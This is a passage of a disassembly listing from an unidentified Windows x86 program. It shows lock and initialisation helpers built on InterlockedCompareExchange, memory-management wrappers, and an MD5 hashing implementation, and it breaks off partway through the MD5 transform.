sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_4331D0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E980 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E980 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E980 mov ebx, 10h call near ptr 7C9010EDh nop loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 2FD59CE8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j call near ptr 27307F8h nop cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax call near ptr 2730000h nop cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3E8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx call near ptr 2750000h nop test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27C090Ch mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0D390E851h, 5690022Eh, 7EE8D88Bh dd 90022ED5h, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA ; "€" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, 